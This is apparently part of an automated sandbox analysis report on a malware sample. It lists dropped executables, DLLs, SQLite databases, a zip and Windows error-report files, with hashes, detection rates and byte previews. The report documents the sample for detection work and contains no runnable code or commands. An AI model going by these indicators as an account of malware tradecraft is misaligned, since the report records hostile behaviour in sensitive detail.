SSDEEP:	96:wy4PvFoo+L8QJYOQoJ7R3V6tpXIQcQec6tycEfcw32+HbHg/8BRTf3o8Fa9iVfOn:9gvyV8Qh8HQ0lLjIq/u7snS274Itr
MD5:	6F6811213DC38FF2AFDB04F3CD55FF1A
SHA1:	64F43638AEC6C761650F890FF2CD403FA3D6DAC5
SHA-256:	E4404798C093AFDD465AADFACD5D3127BEE372A8939F9C3BFBF3202692A5A8FD
SHA-512:	5E8A8ECFC05DC3A0116077417A3BE790C38939CD383C817AE5FDD349BA2406CBFCD272BFB753205D84F25BDF689F72BB74FF013561A43C4DA18372E923DD1181
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.6.6.2.2.3.0.9.4.4.9.0.0.8.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.6.6.2.2.3.2.0.0.4.2.7.2.2.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.4.d.d.1.c.7.e.-.4.7.e.3.-.4.3.b.a.-.8.5.f.1.-.a.a.c.4.e.4.5.7.7.1.f.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.f.5.b.3.d.3.3.-.c.7.8.2.-.4.4.f.f.-.9.6.5.e.-.f.5.8.7.d.e.3.5.d.8.6.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.3.3.4...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.b.c.-.0.0.0.1.-.0.0.1.b.-.e.0.a.e.-.a.a.3.9.2.0.0.9.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.3.a.c.c.6.9.e.a.a.d.b.5.b.5.c.c.2.7.e.9.2.7.f.3.0.a.c.e.0.5.4.e.0.0.0.0.2.9.0.1.!.0.0.0.0.5.9.9.5.a.e.9.d.0.2.4.7.0.3.6.c.c.6.d.3.e.a.7.4.1.e.7.5.0.4.c.9.1.3.f.1.f.b.7.6.!.9.3.3.4...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER180D.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jan 14 08:25:13 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	36668
Entropy (8bit):	2.119769547883536
Encrypted:	false
SSDEEP:	192:/75VjONBOeh0kcSLWgKjM2Er8TDjRfvNeUkkt:TeK3lnt
MD5:	2C6138896A76E4B6272E90D3BDA15F56
SHA1:	D5DB3E974F8D4C01F98D71342BDB70004D9757DC
SHA-256:	0C14C62E9BD24CABEAC04A5C10614CCE9E66E3CDC8040F2C60A465CE5311FBEE
SHA-512:	9FA50441E67EC793DD839C1A474B427E372633817234BB645F04A41B0F43549057D4FAA0711C215081DC5FE4CDA00BE83CAF0DEBCF305D4126B420D6C75A3102
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... .......i3.a........................................z%..........T.......8...........T................z..........H...........4....................................................................U...........B..............GenuineIntelW...........T...........]3.a.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER27DD.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8392
Entropy (8bit):	3.7000265245349317
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiaZ6h6YrQSU6I6gmfSRSy/+pDp89bxvIcsfMbm:RrlsNiM6h6Y8SUQgmfSRSQxvIvft
MD5:	9728EFE3FCD1F2EDF2455C6C24A0E3A8
SHA1:	20CC9CA877B4F4FBE84ADFCF86985336F211DA16
SHA-256:	34E3320BCDFE5FC9DA5D259788C15BBC12D7A9EA8CF3EC9ED851E51C27C9DF31
SHA-512:	7FA47509ECF9AF82644E844110B79883B40CDAC1A881A778500D8A6A299176BC2D76FCE9DAD29BF898C4991A05A527F4912AE4874FC23CBA83CC53310BF268C2
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.0.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2B39.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.47401591312699
Encrypted:	false
SSDEEP:	48:cvIwSD8zsvJgtWI9YGWSC8B+b8fm8M4JUq8qF+LmHV+q8voq8XDt3efd:uITfRLHSNLJUrAVKoDDt3efd
MD5:	500A558B8AF1D586EF5471DEB82D8602
SHA1:	DF7939F10AAB10431EEC217AF7C43EB68C4AD4DD
SHA-256:	75C4307E165914D4F166FD85510231B7E5B0AA71E462E664DF1D9021D0508540
SHA-512:	0332FE01BE4694D34FFC2259FB9E4CC46352B9FA2983C26198776F498B174E10C0F26CA5E2AFD44443607C8A50C5C114CDFD5502580FC6C1BFD6D855D187BD23
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1341695" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFB48.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	52752
Entropy (8bit):	3.033752492589164
Encrypted:	false
SSDEEP:	768:Z8Hq4E/6LytGTdG/xEaa6QZ7uw7qO2Ivta3ou1kfEvdO25:Z8Hqb6LvTdG/xyZ7urBzou1kfEvdp5
MD5:	41B4C10832B6C2E2EDBC4603B5751BCC
SHA1:	CE1FC1463DDFF7A19F40D09C25839C3A1424A0AA
SHA-256:	9E6AD05DA0DA5BCA00A6EE12209009741A352DAA4E78007CFB0AA97CC6A81A03
SHA-512:	88A36BE9A669C3D3CDF6212651DE769AF93921EABE0F46D11B9F29A46770B1C4D33595D14931D6FAE3D52D3B7B447F34AEABFB80249ECBB76669C997854843B7
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF8F.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6951624028803427
Encrypted:	false
SSDEEP:	96:9GiZYWUw0pVsYsaYtWjhJpyHQUYEZfRtriojXtt7wOxn07bja/8y/EcxINT3:9jZD32nh4dx6bja/8y/VuNT3
MD5:	32C5799696111CD15DF44F24AC2EEF77
SHA1:	4FD6DB5108A818C1DC4FD6EED09C6CF85FD8401E
SHA-256:	64AB345C0B68D01374BB3231B456712BDD34BAEE43B23B78A6962F9C5B1AA7DD
SHA-512:	AA873092EB6545AA15C123617C353509E2C4E40AC93AF706C39BA91587CBA79F6F42F7EA8AE8491950B4121A22CEF0F22F64D11853A40CF5E4C4E5C4A972E332
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\user\AppData\LocalLow\1xVPfvJcrg Download File
Process:	C:\Users\user\AppData\Local\Temp\5C89.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\RYwTiizs2t Download File
Process:	C:\Users\user\AppData\Local\Temp\5C89.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\frAQBc8Wsa Download File
Process:	C:\Users\user\AppData\Local\Temp\5C89.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\rQF69AzBla Download File
Process:	C:\Users\user\AppData\Local\Temp\5C89.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBoe9H6pf1H1oNQ:T5LLOpEO5J/Kn7U1uBobfvoNQ
MD5:	A7FE10DA330AD03BF22DC9AC76BBB3E4
SHA1:	1805CB7A2208BAEFF71DCB3FE32DB0CC935CF803
SHA-256:	8D6B84A96429B5C672838BF431A47EC59655E561EBFBB4E63B46351D10A7AAD8
SHA-512:	1DBE27AED6E1E98E9F82AC1F5B774ACB6F3A773BEB17B66C2FB7B89D12AC87A6D5B716EF844678A5417F30EE8855224A8686A135876AB4C0561B3C6059E635C7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sG8rM8v\dI3hX2r.zip Download File
Process:	C:\Users\user\AppData\Local\Temp\5C89.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	49152:tiGLaX5/cgbRETlc0EqgSVAx07XZiEi4qiefeEJGt5ygL0+6/qax:t9OX9alwJSVP1fnefekGt5CP
MD5:	1117CD347D09C43C1F2079439056ADA3
SHA1:	93C2CE5FC4924314318554E131CFBCD119F01AB6
SHA-256:	4CFADA7EB51A6C0CB26283F9C86784B2B2587C59C46A5D3DC0F06CAD2C55EE97
SHA-512:	FC3F85B50176C0F96898B7D744370E2FF0AA2024203B936EB1465304C1C7A56E1AC078F3FDF751F4384536602F997E745BFFF97F1D8FF2288526883185C08FAF
Malicious:	false
Reputation:	unknown
Preview:	PK.........znN<..{r....i......nssdbm3.dll...\|...8...N..Y..6.$J.....$1...D .a.....jL.V..C...N.;....}./............$...Z,T.R.qc...Ec.=................;..{..s....p.`..A.?M.....W!.....a..?N...~e.A..W.o.....[.}...,...;.+\....Jw.\|...k.......<yR.^.E.o.nxs.c...=V....,..F....cu.....w.O..[..u.{..<.w....7P...{..K~..E..w...c...z^..[Z....6.G.V.2..+.n4......1M.......w{f..nJL..{. d......M..+.. ......./.)..$X!......L..K.`.M...w.I..LA8r.IX...r...87..}........<.].r.....TWm......b6/._....a..W.lB...3.n.._...j....o.Mz.._Q........8....K............gr..L..H...v....6[...4I...{.1g..<..>M..$G.&Y........-.....O..9\...,t..W.m.X ..Y.3....S<#}.".>.0RBg,...lh.s..o.....r.p8...)..3..K.v....ds.n3.+]....+....krMu._.Y\..../8T......&.BC.".u..;..e.k u$......~`.{.!.M...\W.Y.37+nQ.Z.*...3\G..5d....Z.hVL..Z.\|k.5...XF.Y..lVVW..C..\|.....b..\.Z...m. ..0...P.F8{].U.p..RW,n...MM.....s..._@..>Q.. ...N.>.T?WM....)9B.............mVW.......b.6{..\|!......O....M....>.>.$\.%..L.zF.l...3

C:\Users\user\AppData\LocalLow\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\5C89.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	24576:BJDwWdxW2SBNTjlY24eJoyGttl3+FZVpsq/2W:BJDvx0BY24eJoyctl3+FTX
MD5:	F964811B68F9F1487C2B41E1AEF576CE
SHA1:	B423959793F14B1416BC3B7051BED58A1034025F
SHA-256:	83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CD0C014844E5F7
SHA-512:	565B1A7291C6FCB63205907FCD9E72FC2E11CA945AFC4468C378EDBA882E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971AC1C1DE2BFA4248EC0F98C4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....t\...........!.....Z...................p.....a.......................................... .......................... ......H.... .......................0...3...................................................................................text...XX.......Z..................`.P`.data........p.......`..............@.`..rdata........... ...\|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@......................@..B/57..........`......................@.0B/70.....i....p..........

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\F65C.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\F65C.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Temp\5C89.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6FB4.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	373760
Entropy (8bit):	6.990411328206368
Encrypted:	false
SSDEEP:	6144:GszrgLWpo6b1OmohXrIdF5SpBLE4Hy+74YOAnF3YFUGFHWEZq:Gsgq3b1Omsb7pBLEazsYOSGFHFHW
MD5:	8B239554FE346656C8EEF9484CE8092F
SHA1:	D6A96BE7A61328D7C25D7585807213DD24E0694C
SHA-256:	F96FB1160AAAA0B073EF0CDB061C85C7FAF4EFE018B18BE19D21228C7455E489
SHA-512:	CE9945E2AF46CCD94C99C36360E594FF5048FE8E146210CF8BA0D71C34CC3382B0AA252A96646BBFD57A22E7A72E9B917E457B176BCA2B12CC4F662D8430427D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 81%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..U(...(...(...6.).1...6.?.W....l..+...(.......6.8.....6.(.)...6.-.)...Rich(...........PE..L...a.R`.....................v......@.............@..................................&..........................................(........{...................0..........................................@...............8............................text............................... ..`.data...............................@....gizi...............................@....bur................................@....wob................................@....rsrc....{.......\|..................@..@.reloc..4F...0...H...l..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8783.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3576320
Entropy (8bit):	7.9976863291960605
Encrypted:	true
SSDEEP:	49152:Y+RSFqeQKgdJee+ntOkgd+TuRCg+687ZEYNFvKfDIcK8nAONaGGh:Yb8eQKg+tOV0T0z875NFKfDPK8nASA
MD5:	5800952B83AECEFC3AA06CCB5B29A4C2
SHA1:	DB51DDBDF8B5B1ABECD6CFAB36514985F357F7A8
SHA-256:	B8BED0211974F32DB2C385350FB62954F0B0F335BC592B51144027956524D674
SHA-512:	2A490708A2C5B742CEB14DE6E2180C4CB606FCCEB5F17DE69249CF532EDC37B984686B534A88AE861CC38471C5892785C26DA68C4F662959542458C583E77E38
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@...........................S......!7.....................................\|.N. .... M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@...........x+...P......................@.............1.........................@....rsrc........ M......L0.............@....28gybOo......N.......1.............@....adata.......pS.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9334.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	301056
Entropy (8bit):	5.192330972647351
Encrypted:	false
SSDEEP:	3072:4/ls8LAAkcooHqeUolNx8IA0ZU3D80T840yWrxpzbgqruJnfed:Ils8LA/oHbbLAGOfT8auzbgwuJG
MD5:	277680BD3182EB0940BC356FF4712BEF
SHA1:	5995AE9D0247036CC6D3EA741E7504C913F1FB76
SHA-256:	F9F0AAF36F064CDFC25A12663FFA348EB6D923A153F08C7CA9052DCB184B3570
SHA-512:	0B777D45C50EAE00AD050D3B2A78FA60EB78FE837696A6562007ED628719784655BA13EDCBBEE953F7EEFADE49599EE6D3D23E1C585114D7AECDDDA9AD1D0ECB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2t..v.i.v.i.v.i.hG..i.i.hG....i.hG..[.i.Q...q.i.v.h...i.hG..w.i.hG..w.i.hG..w.i.Richv.i.........PE..L.....b_.............................-.......0....@.......................... ...............................................e..P....................................2.............................. Y..@............0...............................text............................... ..`.rdata..D?...0...@..."..............@..@.data...X....p...$...b..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9DFA.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3576320
Entropy (8bit):	7.9976863291960605
Encrypted:	true
SSDEEP:	49152:Y+RSFqeQKgdJee+ntOkgd+TuRCg+687ZEYNFvKfDIcK8nAONaGGh:Yb8eQKg+tOV0T0z875NFKfDPK8nASA
MD5:	5800952B83AECEFC3AA06CCB5B29A4C2
SHA1:	DB51DDBDF8B5B1ABECD6CFAB36514985F357F7A8
SHA-256:	B8BED0211974F32DB2C385350FB62954F0B0F335BC592B51144027956524D674
SHA-512:	2A490708A2C5B742CEB14DE6E2180C4CB606FCCEB5F17DE69249CF532EDC37B984686B534A88AE861CC38471C5892785C26DA68C4F662959542458C583E77E38
Malicious:	true
